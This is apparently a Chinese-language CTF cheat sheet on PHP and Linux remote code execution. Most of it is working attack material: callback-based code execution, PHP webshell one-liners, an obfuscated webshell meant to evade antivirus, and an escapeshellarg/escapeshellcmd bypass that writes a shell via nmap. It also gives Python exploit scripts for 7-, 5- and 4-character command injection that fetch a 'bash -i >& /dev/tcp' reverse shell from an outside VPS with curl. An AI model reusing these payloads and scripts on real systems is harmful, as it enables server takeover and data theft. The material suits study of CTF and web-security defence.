有关一些php和linux命令执行的知识
 
 RCE  
 PHP命令执行  
 eval  
1 eval (assert ("eval(\$_POST[1]);" ));
 
 
 assert  
同eval
 
php 7.2 前,assert是一个函数,可以使用可变函数调用 
 
可变函数:如果一个变量名后面有圆括号,PHP将寻找与变量的值同名的函数,并且尝试执行它 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php   function  foo ( ) {     echo  "In foo() <br/>\n" ; }   	function  bar ($arg =''  ) {         echo  "In bar(), argument was '$arg '" ;     } 	function  echoit ($string  ) {         echo  $string ;     } $func  = 'foo' ;$func ();$func  = 'bar' ;$bar ('test' );$func  = 'echoit' ;$func ('string' );?> 
 
php 7.2 后,assert与eval一样,不是函数而是语言构造器 
 
 create_function  
具体可以看看php特性篇,讲述了create_function的注入
但是挺可惜的,create_function在php7之后就被移除了
1 2 3 4 5 6 7 <?php 	$func  = create_function ('' ,$_POST ['a' ]); $func ();
 
WordPress <= 4.6.1 的rce漏洞就是利用了create_function触发
 
如果没有的话我们也可以这么写:
1 2 $a  = ['create_function' ,'' ,'2;}system(dir);/*' ];call_user_func (...$a );
 
如果是命令注入,无需调用,直接写:
1 create_function ('' ,'echo 123;}system(' ls');//' );
 
 call_user_func/call_user_func_array  
call_user_func('a','b');
相当于a(b);
1 2 call_user_func ('assert' , '$_POST[1]' );call_user_func ('phpinfo' , -1 );
 
call_user_func_array,需要后面一个变成数组:
例如
1 2 call_user_func_array ($_GET [1 ], $_GET [2 ]);
 
 array_walk  
array_walk(a, b)
其中a是数组,相当于调用b(a):
array_walk使用用户自定义函数对数组中的每个元素做回调处理
1 2 3 array_walk ($_GET [1 ], $GET [2 ]);
 
 array_map  
array_map(a, b)
其中b是数组,相当于调用a(b):
array_map为数组的每个元素应用回调函数
1 2 3 4 5 6 7 array_map ($_GET [1 ], $_GET [2 ]);
 
 array_filter  
array_filter(array $array[, callable $callback [, int $flag =0]])
array_filter()会用回调函数过滤数组中的单元,依次将array数组中的每个值传递到callback函数,如果该函数返回了true,则array的数组当前值会被包含在返回的结果数组中,数组的键名保留不变:
1 2 3 array_filter (array ($_GET ['cmd' ],$_GET ['func' ]));
 
例如执行结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php var_dump (array_map ('system' ,array ('ls' )));?> 
 
相当于调用b(a)
 array_reduce  
用回调函数将数组化为单一的值,第一个参数是数组,第二个是回调函数:
1 array_reduce ([1 ], 'system' , 'whoami' );
 
例如:
1 2 3 4 5 6 7 array_reduce ([1 ], 'system' , 'ls' );
 
 array_diff_ukey/array_diff_uassoc  
1 array_diff_ukey (['whoami' =>'' ],['' =>'' ],'system' );
 
 array_intersect_ukey/array_intersect_uassoc  
同上
 usort  
usort()函数将用户自定义的比较函数对一个数组中的值进行排序:
1 2 3 4 5 6 7 8 9 <?php 	     usort ($_GET , 'system' ); 	 	 	 	usort (...$_GET ); 	 ?> 
 
 ob_start()  
1 2 3 4 5 6 7 <?php 	$cmd  = 'system' ; 	ob_start ($cmd ); 	echo  "$_GET [1]" ; 	ob_end_flush (); ?> 
 
 preg_replace /e模式  
这个在之前的每日一题出现过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php function  complex ($re , $str  )  {    return  preg_replace (         '/('  . $re  . ')/ei' ,         'strtolower("\\1")' ,         $str      ); } foreach ($_GET  as  $re  => $str ) {    echo  complex ($re , $str ). "\n" ; } function  getFlag ( ) {    @eval ($_GET ['cmd' ]); } 
 
/e在php7已经不支持,php5.5已经弃用
可以执行第二个参数的内容,换句话说这里可以执行strtolower("\\1");
payload:
 
一般来说是利用.*的,但是php的get此请求一般传不了.
所以我们改用\S*来代替
换句话讲其实是:
1 2 3 4 5 6 7 8 9 10 ``` ### $ `${}`能直接调用函数内容: 
 
${phpinfo()}
1 2 3 4 5 ### header_register_callback ```php header_register_callback('phpinfo'); 
 
无参数的callback
 PHP函数  
 passthru、system  
两个函数等效:
 
 exec/shell_exec  
执行但不会回显,需要echo
 pcntl_exec  
1 2 3 <?php 	pcntl_exec ("/bin/bash" , array ("whoami" )); ?> 
 
 popen  
1 2 3 4 5 6 7 8 9 10 <?php 	$test  = "whoami" ; 	$fp  = popen ($test , "r" ); 	 	while (!feof ($fp )){         $out  = fgets ($fp , 4096 );         echo  $out ;     } 	pclose ($fp ); ?> 
 
popen打开一个指向进程的管道,该进程由派生给定的command命令执行
 proc_open  
proc_open的例子:
1 2 3 4 5 6 7 8 9 10 <?php     $test  = "whoami" ; 	$array  = array (         array ("pipe" , "r" )          array ("pipe" , "w" )          array ("pipe" , "w" )      ); 	$fp  = proc_open ($test , $array , $pipes ); 	echo  stream_get_contents ($pipes [1 ]); ?> 
 
其实就是执行一个命令,并且打开管道输入、输出内容
另一个来自php官方手册的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php $descriptorspec  = array (   0  => array ("pipe" , "r" ),      1  => array ("pipe" , "w" ),      2  => array ("file" , "/tmp/error-output.txt" , "a" )  ); $cwd  = '/tmp' ;$env  = array ('some_option'  => 'aeiou' );$process  = proc_open ('php' , $descriptorspec , $pipes , $cwd , $env );if  (is_resource ($process )) {                        fwrite ($pipes [0 ], '<?php print_r($_ENV); ?>' );     fclose ($pipes [0 ]);     echo  stream_get_contents ($pipes [1 ]);     fclose ($pipes [1 ]);               $return_value  = proc_close ($process );     echo  "command returned $return_value \n" ; } ?> 
 
jacko神的题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 show_source (__FILE__ );$c1  = $_GET ['c1' ];$c2  = $_GET ['c2' ];if (preg_match ('/\s|\$|{/' ,$c1 .$c2 )){    echo  'Not allowed' ;     exit ; } $descriptorspec  = array (    0  => array ("pipe" , "r" ),     1  => array ("pipe" , "w" ),     2  => array ("file" , "/tmp/error" , "a" )  ); $process  = proc_open ($c1 , $descriptorspec , $pipes );fwrite ($pipes [0 ],$c2 );fclose ($pipes [0 ]);echo  stream_get_contents ($pipes [1 ]);fclose ($pipes [1 ]);proc_close ($process );
 
payload:
1 ?c1=php&c2=<?=`cat\x20/f*`;?> 
 
 ``  
相当于shell_exec:
1 2 <?= ``;?> 相当于echo  shell_exec (); 
 
 escapeshellarg + escapeshellcmd  
这里在我的飞书上出现过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php if  (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ])) {    $_SERVER ['REMOTE_ADDR' ] = $_SERVER ['HTTP_X_FORWARDED_FOR' ]; } if (!isset ($_GET ['host' ])) {    highlight_file (__FILE__ ); } else  {     $host  = $_GET ['host' ];     $host  = escapeshellarg ($host );       $host  = escapeshellcmd ($host );       $sandbox  = md5 ("glzjin" . $_SERVER ['REMOTE_ADDR' ]);     echo  'you are in sandbox ' .$sandbox ;     @mkdir ($sandbox );     chdir ($sandbox );     echo  system ("nmap -T5 -sT -Pn --host-timeout 2 -F " .$host ); } 
 
这里利用nmap 内容 -oG filename可以将内容写入到文件名内
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 escapeshellarg(); 其功能是给字符串增加一对单引号,并且能够引用或者转码任何已存在的单引号 例子: echo escapeshellarg(1); 会输出 '1' echo escapeshellarg("1"); 会输出'1' echo escapeshellarg("'1'"); 会输出 ''\''1'\'' echo escapeshellarg('"1"'); 会输出'"1"' echo escapeshellarg(" ''a'' "); 会输出 ' '\'''\''a'\'''\'' ' 分析一下其流程大概是这样的: 1. 如果是没有单引号的会给它添加一对单引号 2. 如果只有双引号括住的,此时会将双引号转化为单引号 3.里面有单引号的,在每一个单引号前都加上'\' 例如上面的a有两个引号,此时每个引号前都被加上了'\': 分割一下是这样的: ' '\''(第一个引号)'\''(第二个引号)a'\''(第三个引号)'\''(第四个引号) ' 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 escapeshellcmd() escapeshellcmd会对字符串中可能存在欺骗shell从而执行任意命令的符号进行转义,同时这个函数保证在用户的数据输入到exec或者system中时进行转义 反斜线会在下面的符号进行插入 &#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*。 *' 和 " 仅在不配对儿的时候被转义。  在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。 转换原理为: 1. 对于&#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*前会直接加\ 2. 对于' ",仅在不配对时加\ 例如 $a="'"; echo escapeshellcmd($a); 输出结果为\' 如果是'',则输出结果为'',双引号同理 例如 <?php 	$a = "& # ; ` | \ ? ~ < > ^ ( ) [ ] { } $ * \x0A end"; 	echo escapeshellcmd($a); ?> 输出 \& \# \; \` \| \\ \? \~ \< \> \^ \( \) \[ \] \{ \} \$ \* \  end 
 
这两个函数是不能调换使用顺序的
即不能够在escapeshellarg()后使用escapeshellcmd()
否则可能会造成一些单引号的闭合:
例如我有一个木马:
1 <?php @eval($_POST["a"]);?> 
 
我要写入一下
经过escapeshellarg后:
1 '<?php @eval($_POST["a"]);?>' 
 
经过escapeshellarg后再经过escapeshellcmd:
1 '\<\?php @eval\(\$_POST\[\"a\"\]\)\;\?\>' 
 
符合我们的预期
但是,如果我们的木马改成了:
1 '<?php @eval($_POST["a"]);?>' 
 
此时经过escapeshellarg就会变成:
1 ''\''<?php @eval($_POST["a"]);?>'\''' 
 
再经过escapeshellcmd:
1 '' \\'' \<\?php @eval \(\$_POST \[\'a\'\]\)\;\?\>' \\'' ' 
 
处理一下就相当于变成了:
1 \<?php  @eval ($_POST ["a" ]);?> \\ 
 
此时就相当于成功执行了一个shell
但是如果我们要写入的话:
1 <?php @eval($_POST["a"]);?> -oG 1.php 
 
payload的话还需要加入前后的空格:
1 ' <?php @eval($_POST["a"]);?> -oG 1.php ' 
 
如果不加的话:
1 ''\\''\<\?php @eval\(\$_POST\["a"\]\)\;\?\> -oG 1.php'\\''' 
 
会变成:
1 \<?php  @eval ($_POST ["a" ]);?>  -oG 1 .php\\ 
 
导致后面写入错误
所以要加个空格
payload:
1 ' <?php @eval($_POST["a"]);?> -oG 1.php ' 
 
 file_put_contents写马  
1 2 3 file_put_contents ("shell.php" , "<?php @eval(\x24_POST[1]);?>" );或者 file_put_contents ("shell.php" , "<?php @eval(\$_POST[1]);?>" );
 
 include 读文件  
利用ctfshow命令执行的姿势:
1 ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=1.php 
 
 PHP 无参数rce  
 
如果过滤了,可以利用:
1 scandir (pos (localeconv ()));
 
读当前目录:
1 var_dump (scandir (pos (localeconv ())));
 
随机编码爆破:
1 var_dump (scandir (chr (strrev (uniqid ()))));
 
当然还有rand
 请求头传递参数  
getallheaders();获取到所有的http报头
利用:
1 2 var_dump (end (getallhandlers ()));
 
还可以
1 var_dump (apache_request_headers ());
 
还可以:
array_reverse(),反转数组 
next,取数组的下一位 
 
get_defined_vars()
类似无中生有:
1 eval(end(next(get_defined_vars())));&b= 
 
call_user_func:
1 cmd=call_user_func('create_function','','}eval(phpinfo());/*')%3b 
 
利用反序列化写马:
1 2 3 call_user_func(...unserialize(next(getallheaders()))); ); 在请求头内写自己的序列化结果 
 
 session_id:  
phpsession_id只允许数字和字母,利用hex2bin转换:
1 2 3 4 5 6 7 8 import  requestsurl = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'  payload = "echo 'payload OK!';" .encode('hex' ) cookies = {     'PHPSESSID' :payload } r = requests.get(url=url,cookies=cookies) print  r.content
 
 PHP 无数字字母RCE  
详见我的看看无数字字母RCE
简单看看无数字字母RCE | Err0r233 
 免杀(?)  
1 2 3 4 5 6 7 8 9 10 <?php     $a  = 'ass' ; 	$b  = 'er' ; 	$c  = 't' ; 	$d  = $a .$b .$c ; 	$e  = '_P' ; 	$f  = 'OST' ; 	$g  = $e .$f ; $d ($$g [1 ]);?> 
 
利用strtr()将子字符串替换为给定的字符串
例如将Hello World替换为Hi Earth:
1 2 $arr  = array ("Hello"  => "Hi" , "world"  => "Earth" );echo  strtr ("Hello world" ,$arr );
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php     $str1  = 'aH(UUH(fsdfH(UUH(fsdf,fdgdefjg0J)r&%F%*^G*t' ;     $str2  = strtr ($str1 ,array ('aH(UUH(fsdfH(UUH(fsdf,' =>'as' ,'fdgdefjg0J)' =>'se' ,'r&%F%*^G*t' =>'rt' ));     $str3  = strtr ($str2 ,array ('s,' =>'s' ,'fdgdefjg0J)r&%F%*^G*' =>'er' ));     if (md5 (@$_GET ['a' ]) =='xxxx' ){         $str4  = strrev ($_POST ['a' ]);         $str5  = strrev ($str4 );         $str3 ($str5 );   } 
 
 绕open_basedir  
读目录:
1 <?php  $a =new %20 DirectoryIterator ("glob:///*" );foreach ($a %20 as %20 $f ){echo ($f ->__toString ().%27 %20 %27 );}%20 exit (0 );?> 
 
当然,直接绕:
1 mkdir('a');chdir('a');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/'); 
 
 绕过  
拼接:
system(‘cat /flag’) 相当于 system(‘cat /f’.‘lag’); 
单双引号拼接 
chr函数拼接 
eval的独特拼接:(sy.(st).em) 
 
十六进制:
1 2 3 <?=`\x6c\x73`; echo $(ls); 
 
过滤括号,利用include等不需要括号的函数:
 
过滤了分号:
如果是eval函数的话,可以直接将;换成?>
相当于短标签(?)
include、assert、system都可以利用
 有限制长度的rce  
 前置知识  
在linux中,利用sh可以直接把文件当成sh脚本执行
利用php可以直接将文件作为php执行
CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总 
利用的思路是通过写文件,然后利用ls -t将其全部写入一个文件中,最后执行sh:
 7字符的rce  
1 2 3 4 5 6 7 8 9 10 11 <?php  highlight_file (__FILE__ );if (strlen ($_GET [1 ]<7 )){    echo  strlen ($_GET [1 ]);     echo  '<hr/>' ;     echo  shell_exec ($_GET [1 ]); }else {     exit ('too long' ); } ?> 
 
利用的思路其实是:
1 2 3 4 5 6 7 8 9 <?php eval($_GET[1]); //或者是post base64编码: PD9waHAgZXZhbCgkX0dFVFsxXSk7 只需要执行: echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php 就能将shell写进1.php了 
 
此时通过拆分,并且利用linux的\可以接上换行的特性,可以将命令分解成:
1 2 3 4 >ech\ >o\ \    //这里空格要加反斜杠 >PD9\ ... 
 
由于php的原因,需要双写反斜杠
ls -t 是按时间倒序写入(越晚的写入越前面),所以我们需要将其反过来这样写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 //payload.txt >hp >1.p\\ >d\>\\ >\ -\\ >e64\\ >bas\\ >7\|\\ >XSk\\ >Fsx\\ >dFV\\ >kX0\\ >bCg\\ >XZh\\ >AgZ\\ >waH\\ >PD9\\ >o\ \\ >ech\\ ls  -t>0sh 0 
 
脚本执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 import  requestsurl = "xxxx/?1={0}"  print ("[+]start attack..." )with  open ("payload.txt" , "r" ) as  f:    for  i in  f:         print ("[*]"  + url.format (i.strip()))         requests.get(url.format (i.strip())) test = requests.get("xxx/1.php" ) if  test.status_code == 200 :    print ("[*]Attack success!" ) 
 
 5字符的rce  
BabyFirst Revenge
1 2 3 4 5 6 7 8 9 10 11 <?php     $sandbox  = '/www/sandbox/'  . md5 ("orange"  . $_SERVER ['REMOTE_ADDR' ]);     @mkdir ($sandbox );     @chdir ($sandbox );     if  (isset ($_GET ['cmd' ]) && strlen ($_GET ['cmd' ]) <= 5 ) {         @exec ($_GET ['cmd' ]);     } else  if  (isset ($_GET ['reset' ])) {         @exec ('/bin/rm -rf '  . $sandbox );     }     highlight_file (__FILE__ ); ?> 
 
同样的思路,但是我们的ls -t>a长度大于了5,我们此时需要将ls -t>a也写入文件内(我们再写一个sh脚本即可)
 5字符反弹shell  
利用:
我们将反弹shell的语句放到vps上,然后让靶机curl我们的vps,利用curl ip|bash的方式执行:
1 2 vps上: bash -i >& /dev/tcp/ip/port 0>&1 
 
然后vps监听port
ls -t>_的写入:
1 2 3 4 5 6 7 8 >dir  >f\> >ht- >sl *>v //将第一个指令,也就是我们的dir 执行后的结果写入v,此时v的内容应该是 f> ht- sl >rev *v>a //调用rev,将v内的内容反转再写入a sh a //最后利用sh a执行ls  -th >f 
 
1 2 3 4 5 6 7 8 >dir >f\> >ht- >sl *>v >rev *v>a sh a 
 
注:这里利用dir是因为dir能够自动补齐空格,方便我们的运算
反弹shell主体:
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 >bash >\|\\ >23\\ >4.\\ >9\\ >2.\\ >5\\ >6.\\ >10\\ >\ \\ >rl\\ >cu\\ //最后sh a sh f 
 
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import  requestsurl1 = "xxx/?cmd="  reset = "xxx/?reset=1"  s = requests.session() s.get(reset) list1=[ 	">dir" , 	">f\>" , 	">ht-" , 	">sl" , 	"*>v" , 	">rev" , 	"*v>a"  ] list2=[     ">bash" , 	">\|\\" , 	">23\\" , 	">4.\\" , 	">9\\" , 	">2.\\" , 	">5\\" , 	">6.\\" , 	">10\\" , 	">\ \\" , 	">rl\\" , 	">cu\\"  ] for  i in  list1:    url2 = url1+str (i)     s.get(url2) for  j in  list2:    url2 = url1+str (j)     s.get(url2) s.get(url1+"sh a" ) s.get(url1+"sh f" ) 
 
 直接rce  
当然直接rce也是可以的,后面需要做更加多的拆分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 >dir >f\> >ht- >sl *>v >rev *v>a >hp >p\\ >1.\\ >\>\\ >64\\ >se\\ >ba\\ >\|\\ >7\\ >Sk\\ >X\\ >x\\ >Fs\\ >FV\\ >d\\ >X0\\ >k\\ >g\\ >bC\\ >h\\ >XZ\\ >gZ\\ >A\\ >aH\\ >w\\ >D9\\ >P\\ >S}\\ >IF\\ >{\\ >\$\\ >o\\ >ch\\ >e\\ sh a sh f 
 
脚本实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import  requestsurl = 'xxxx/?cmd='  rawurl = 'xxxx'  attacklist=[     ">dir" , 	">f\>" , 	">ht-" , 	">sl" , 	"*>v" , 	">rev" , 	"*v>a" , 	">hp" , 	">p\\" , 	">1.\\" , 	">\>\\" , 	">64\\" , 	">se\\" , 	">ba\\" , 	">\|\\" , 	">7\\" , 	">Sk\\" , 	">X\\" , 	">x\\" , 	">Fs\\" , 	">FV\\" , 	">d\\" , 	">X0\\" , 	">k\\" , 	">g\\" , 	">bC\\" , 	">h\\" , 	">XZ\\" , 	">gZ\\" , 	">A\\" , 	">aH\\" , 	">w\\" , 	">D9\\" , 	">P\\" , 	">S}\\" , 	">IF\\" , 	">{\\" , 	">\$\\" , 	">o\\" , 	">ch\\" , 	">e\\" , 	"sh a" , 	"sh f"  ] for  i in  attacklist:    print ("[*]creating "  + str (i))     payload = url+str (i)     requests.get(payload) print ("[*]testing..." )test = requests.get(rawurl+"/1.php" ) if  test.status_code == 200 :    print ("[*]attack success!" ) else :    print ("[!]some error occurred..." ) 
 
 4字符rce  
1 2 3 4 5 6 7 8 9 10 11 12 <?php     error_reporting (E_ALL);     $sandbox  = '/var/www/html/sandbox/' .md5 ("orange" .$_SERVER ['REMOTE_ADDR' ]);     mkdir ($sandbox );     chdir ($sandbox );     if  (isset ($_GET ['cmd' ]) && strlen ($_GET ['cmd' ]) <= 4 ) {         exec ($_GET ['cmd' ]);     } else  if  (isset ($_GET ['reset' ])) {         exec ('/bin/rm -rf '  . $sandbox );     }     highlight_file (__FILE__ ); 
 
在上面5字符的时候大概已经知道了*的作用:
在linux中,输入*会把第一个列出的文件名当作命令,然后把剩下的文件名当作参数
 
这就是为什么输入*v>a的时候就会自动将v的内容倒序再写入
因为ls的时候 rev在v的前面
而*v会自动匹配rev 和 v
这就是4字符的rce的关键
直接贴exp了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 import   requests as  rfrom   time  import   sleepimport   randomimport   hashlibtarget  =  'http://52.197.41.31/'     shell_ip  =  'xx.xx.xx.xx'     your_ip  =  r.get( 'http://ipv4.icanhazip.com/'  ).text.strip()    ip  =  '0x'   +  '' .join([ str  ( hex  ( int  (i))[ 2  :].zfill( 2  ))                       for   i  in   shell_ip.split( '.'  )])    reset  =  target  +  '?reset'  cmd  =  target  +  '?cmd='  sandbox  =  target  +  'sandbox/'   +  \      hashlib.md5( 'orange'   +  your_ip).hexdigest()  +  '/'     pos0  =  random.choice( 'efgh'  ) pos1  =  random.choice( 'hkpq'  ) pos2  =  'g'        payload  =  [      '>dir'  ,               '>%s\>'   %  pos0,               '>%st-'   %  pos1,                     '>sl'  ,                     '*>v'  ,                           '>rev'  ,               '*v>%s'   %  pos2,                           '>p'  ,      '>ph\\'  ,      '>\|\\'  ,      '>%s\\'   %  ip[ 8  : 10  ],      '>%s\\'   %  ip[ 6  : 8  ],      '>%s\\'   %  ip[ 4  : 6  ],      '>%s\\'   %  ip[ 2  : 4  ],      '>%s\\'   %  ip[ 0  : 2  ],      '>\ \\'  ,      '>rl\\'  ,      '>cu\\'  ,         'sh '   +  pos2,                  'sh '   +  pos0,       ]    s  =  r.get(reset) for   i  in   payload:     assert   len  (i) < =  4       s  =  r.get(cmd  +  i)      print   '[%d]'   %  s.status_code, s.url      sleep( 0.1  ) s  =  r.get(sandbox  +  'fun.php?cmd=uname -a'  ) print   '[%d]'   %  s.status_code, s.urlprint   s.text
 
 SP: 数组绕过  
来自鹏城杯2023X1r0z师傅的解法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php highlight_file (__FILE__ );if (isset ($_GET ['username' ])){    $sandbox  = '/var/www/html/sandbox'  .md5 ("5050f6511ffb64e1914be4ca8b9d585c" .$_GET ['username' ].'/' );     mkdir ($sandbox );     chdir ($sandbox );          if (isset ($_GET ['title' ])&&isset ($_GET ['data' ])){         $data  = $_GET ['data' ];         $title  = $_GET ['title' ];         if (strlen ($data )>5  || strlen ($title )>3 ){             die ("no!no!no!" );         }         file_put_contents ($sandbox .$title , $data );                  if (strlen (file_get_contents ($title ))<=10 ){             system ('php '  .$sandbox .$title );         }         else {             system ('rm ' .$sandbox .$title );             die ("no!no!no!" );         }     }     else  if (isset ($_GET ['reset' ])){         system ('/bin/rm -rf '  . $sandbox );     } } 
 
这里将文件名限制在了3个字符以内,内容限制在了5个字符以内,更加的困难
这道题的正常解法大概是这样的:
还记得之前的几个特性吗?
sh文件能够将正常的文件当sh命令来执行 
*能够匹配ls的结果,并且将ls的第一个文件作为指令,其余的文件名作为参数 
 
 
所以这题的解法就是:
1 2 3 1. title=sh&data=1 2. title=t&data=nl /* 3. title=w;*&data 
 
这样子的话第一步会生成一个sh的文件名,我们只需要其文件名
第二步会生成一个t的文件名(确保其ls之后在sh之后),我们只需要其内容
第三步用w闭合前面的php,分号分割后利用*直接能够执行sh t
此时相当于执行nl /*,自然能读到flag
另外一种解法就是利用数组绕过长度限制,直接执行命令:
1 title[]=123&data[]=<?=`nl /f*`; 
 
利用到php 123也会把123当作php脚本执行
 反序列化内过滤[Oa]:[\d]+问题  
例如:
1 2 3 4 5 6 <?php 	 	if (!preg_match ('/^[Oa]:[\d]+/i' , $_GET ['a' ])){ 	unserialize ($a ); 	} ?> 
 
利用方式:
如果能用+的话直接用加号隔断 
换别的方法: 
 
1 2 3 4 5 6 ArrayObject :$a  = new  ArrayObject ;$a -> a = 反序列化起点;echo  unserialize ($a );
 
1 2 3 4 5 6 7 SplStack :$a  = new  SplStack ();$a ->push (反序列化起点);echo  serialize ($a );
 
 RCE后有脏数据  
__HALT_COMPILER();能帮到你:
__HALT_COMPILER();能够让编译器停止编译,当编译器执行到这就不用再执行__HALT_COMPILER();后面的部分了。通过提前停止编译达到了不解析脏数据,eval能够正常执行的,看demo:
1 2 3 4 5 6 <?php 	$cmd  = $_GET ['cmd' ]; 	if ("aaa"  === preg_replace ("/;+/" , "aaa" , preg_replace ("/[a-zA-z_\(\)]+/" , "" , $cmd ))){         eval ($cmd .'Err0r23333333' );     } ?> 
 
利用方式:
它只是把$cmd的字母、下划线、括号置空,再用分号置换为aaa和aaa比较
相当于无参数RCE,问题在eval后的脏数据,我们利用__HALT_COMPILER();提前停止编译,就能除去Err0r23333333:
1 ?cmd=phpinfo();__HALT_COMPILER(); 
 
 四处收集的题目  
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php error_reporting (0 );if  (isset ($_GET ['print' ])) {  if  (!empty ($_GET ['print' ])){     $printValue = strtolower ($_GET ['print' ]);     $blocked  = array ("cat" , "more"  ,"readfile" , "fopen" , "file_get_contents" , "file" , "SplFileObject"  );     $special_block = "nc" ;     $$special_block = "../flag.txt" ;     foreach  ($blocked  as  $value ) {       if  (strpos ($printValue , $value ) || preg_match ('/\bsystem|\bexec|\bbin2hex|\bassert|\bpassthru|\bshell_exec|\bescapeshellcmd| \bescapeshellarg|\bpcntl_exec|\busort|\bpopen|\bflag\.txt|\bspecial_block|\brequire|\bscandir|\binclude|\bhex2bin|\$[a-zA-Z]|[#!%^&*_+=\-,\.:`|<>?~\\\\]/i' , $printValue )) {         $printValue ="" ;         echo  "<script>alert('Bad character/word ditected!');</script>" ;         break ;       }     }   eval ($printValue  . ";" );   }  } ?> 
 
payload:
1 echo '';print(eval('return ${blocked}[4](${nc});')) 
 
自己看吧,很好理解,相当于直接调用$blocked数组的file_get_contents
感觉不如直接无参数rce,看看后面有没有过滤getallheaders咯
甚至还可以sys${114514}tem('head%09/flag');
不知道是不是上面那个形式,总之就是可以直接卡bug